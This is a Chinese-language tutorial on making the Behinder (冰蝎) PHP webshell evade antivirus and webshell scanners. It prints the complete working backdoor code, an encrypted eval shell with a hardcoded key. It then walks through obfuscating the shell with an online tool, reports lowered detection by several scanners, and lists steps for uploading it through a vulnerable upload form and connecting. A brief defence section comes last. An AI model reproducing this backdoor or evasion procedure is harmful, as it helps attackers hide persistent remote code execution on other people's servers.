冰蝎Webshell的免杀实战
字数 1301 2025-08-12 11:33:54
冰蝎Webshell免杀实战教学文档
1. 背景介绍
Webshell作为攻击者突破网络边界的关键武器,在网络安全攻防对抗中扮演着重要角色。随着安全检测技术的提升,传统的Webshell很容易被安全设备检测到,因此免杀技术成为攻击者必须掌握的技能。
2. 冰蝎默认Webshell分析
2.1 原始Webshell代码
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; // 该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
$t="base64"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
} else {
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
2.2 代码功能解析
- 关闭错误报告:
@error_reporting(0) - 启动会话并设置密钥:
session_start()和$key设置 - 处理输入数据:
- 如果没有OpenSSL扩展:使用base64解码后异或解密
- 如果有OpenSSL扩展:使用AES128解密
- 执行命令:通过
__invoke魔术方法和eval执行解密后的命令
2.3 检测结果
- D盾:可检测
- 冰河:可检测
- 阿里伏魔:可检测
3. 免杀处理技术
3.1 免杀思路
- 安全狗杀形:主要检测代码结构和特征
- D盾杀参:主要检测危险函数和参数
- 常用绕过方法:
- 使用生僻的回调函数
- 采用特殊的加密方式
- 关键词后传入
- 代码混淆和变形
3.2 具体免杀步骤
- 使用在线混淆工具:https://enphp.djunny.com/
- 将原始Webshell上传到平台
- 选择所有混淆参数
- 点击加密生成免杀Webshell(每次生成结果不同)
3.3 免杀后检测结果
- D盾:可疑(检测级别降低)
- 冰河:免杀(无法检测)
- 阿里伏魔:风险(检测级别降低)
4. 免杀Webshell特征分析
免杀后的Webshell具有以下特点:
- 大量使用
goto语句进行流程控制 - 函数和变量名使用特殊字符和Unicode字符
- 代码逻辑被拆分成多个片段
- 使用base64和rot13等多重编码
- 关键函数被动态调用
- 字符串被分割和拼接
5. 实战利用步骤
- 信息收集:发现目标存在上传漏洞
- 上传免杀Webshell:将混淆后的Webshell上传到目标服务器
- 冰蝎连接:
- 使用默认或修改后的连接密码
- 成功建立连接后可进行后续操作
6. 防御与检测建议
-
防御措施:
- 严格限制上传功能
- 对上传文件进行内容检查和重命名
- 禁用危险函数如
eval、system等
-
检测方法:
- 多引擎检测(D盾、冰河、阿里伏魔等)
- 静态特征+动态行为分析
- 监控异常的文件创建和修改
-
高级检测技术:
- 代码模拟执行
- 污点追踪分析
- 机器学习模型检测
7. 总结与思考
-
免杀本质:通过变形和加密消除特征,使其不被规则引擎匹配
-
攻防关系:类似于生物界的共生关系,相互促进进化
-
最佳实践:
- 免杀技术不应公开传播
- 类似于0day漏洞,公开即失效
- 防守方需要持续更新检测规则
-
未来趋势:
- AI驱动的免杀和检测技术对抗
- 更加复杂的代码混淆技术
- 基于行为的实时防护
附录:相关工具和技术
-
代码混淆工具:
- https://enphp.djunny.com/
- 其他PHP混淆器
-
检测工具:
- D盾
- 冰河Webshell检测
- 阿里伏魔
-
连接工具:
- 冰蝎(可自定义修改)
- 其他Webshell管理工具
-
学习资源:
- PHP高级编程技术
- 密码学基础
- 反混淆技术